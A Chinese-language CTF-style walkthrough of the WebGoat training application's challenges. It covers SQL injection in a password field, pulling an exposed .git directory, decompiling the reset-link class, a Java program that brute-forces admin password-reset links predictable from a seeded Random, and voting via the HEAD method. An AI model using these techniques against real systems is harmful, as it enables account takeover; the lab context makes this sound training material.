Challenges

类似 CTF 的无任何提示的题目,提交flag过关。

CTF需要发散性思维和想象力。

Admin lost password

默认页面给出了用户名admin。但是不知道密码。

logo里面找密码,我是一点没脾气。

Without password

以Larry身份登录。

SQL注入,竟然注入在密码字段。

Admin password reset

重置admin的密码。

给自己的邮箱发邮件,点击重置链接显示不是admin用户。

http://www.webgoat.local:8080/WebGoat/challenge/7/.git 下了个git的压缩包。

解压,然后打开命令开,使用 git status来看一下仓库修改等状态。

使用 git restore PasswordResetLink.class恢复文件。

通过 jd-gui反编译 PasswordResetLink.class查看源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import java.util.Random;

public class PasswordResetLink {

/**
* 根据提供的用户名和密钥创建密码重置链接。
*
* @param username 要生成密码重置链接的用户名
* @param key 当用户名为“admin”时用于额外种子的密钥
* @return 一个经过混淆和哈希处理的密码重置链接
*/
public String createPasswordReset(String username, String key) {
// 创建一个用于生成随机值的随机对象
Random random = new Random();

// 如果用户名是“admin”,使用密钥key的长度作为随机种子
if (username.equalsIgnoreCase("admin"))
random.setSeed(key.length());

// 使用用户名的MD5哈希来混淆密码
return scramble(random, scramble(random, scramble(random, MD5.getHashString(username))));
}

/**
* 通过随机交换字符来混淆字符串。
*
* @param random 用于生成随机索引的随机对象。
* @param input 要混淆的输入字符串。
* @return 输入字符串的混淆版本。
*/
public static String scramble(Random random, String input) {
char[] charArray = input.toCharArray();
for (int i = 0; i < charArray.length; i++) {
// 在输入字符串的长度范围内生成一个随机索引
int randomIndex = random.nextInt(charArray.length);

// 交换当前索引和随机生成的索引处的字符
char temp = charArray[i];
charArray[i] = charArray[randomIndex];
charArray[randomIndex] = temp;
}
return new String(charArray);
}

/**
* 用于测试PasswordResetLink类的主要方法。
*
* @param args 命令行参数,期望提供用户名和密钥。
*/
public static void main(String[] args) {
// 检查是否提供了正确数量的命令行参数
if (args == null || args.length != 2) {
System.out.println("需要用户名和密钥");
System.exit(1);
}

// 从命令行参数中获取用户名和密钥
String username = args[0];
String key = args[1];

// 显示指示生成密码重置链接的消息
System.out.println("为 " + username + " 生成密码重置链接");

// 创建PasswordResetLink的实例并显示生成的密码重置链接
System.out.println("创建的密码重置链接: " + (new PasswordResetLink()).createPasswordReset(username, key));
}
}

按照 createPasswordReset的算法,每次都是通过随机的位置打乱这个username值对应的MD5值,那他喵的咋破?

问题就出在随机数这里,随机数其实并不随机,设置好种子以后,随机数序列就是固定的了。

所以对于admin来说,由于设置了随机数种子,这里的混淆函数每次都是相同的处理过程,并不影响我们获取正确的密码重置序列。

那直接写个for循环来穷举key的长度即可。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import java.util.Random;

/**
* @author zxx
* @since 2023-12-25.
*/
public class PasswordResetLinkCrack {

public String createPasswordReset(String username, String key) {
Random random = new Random();
if (username.equalsIgnoreCase("admin")) {
random.setSeed(key.length());
}
// 这里需要替换admin的MD5值:21232f297a57a5a743894a0e4a801fc3
return scramble(random, scramble(random, scramble(random, "21232f297a57a5a743894a0e4a801fc3")));
}

public static String scramble(Random random, String inputString) {
char[] a = inputString.toCharArray();
for (int i = 0; i < a.length; i++) {
int j = random.nextInt(a.length);
char temp = a[i];
a[i] = a[j];
a[j] = temp;
}
return new String(a);
}

public static void main(String[] args) {

String username = "admin";
String key = "";
for (int i = 1; i <= 10; i++) {
key += "x";
System.out.printf("%2d:", key.length());
System.out.println("http://www.webgoat.local:8080/WebGoat/challenge/7/reset-password/" + new PasswordResetLinkCrack().createPasswordReset(username, key));
}

}
}

代码跑完,对输出的每个链接在浏览器中依次访问即可确认正确链接。也可以复制到bp等工具中作为字典跑,看返回数据大小区分。

然鹅,爆破到了几十依然没有找到答案。代码审计吧。

源码给出的答案:375afe1104f4a487a73823c50a9292a2

实际跑出来的:a081235eff82092a319374c24aaa7574

我甚至怀疑jdk版本问题,切换了三个版本都是一样的结果。

所以,这题答案是错的!

Without password

无账号投票。

对投票的请求进行请求方法枚举。发现可以通过HEAD方法投票成功。而且OPTIONS会提示支持的方法。

HTTP常用请求方法如下:

1
2
3
4
5
6
7
8
9
GET
POST
HEAD
OPTIONS
PUT
PATCH
DELETE
CONNECT
TRACE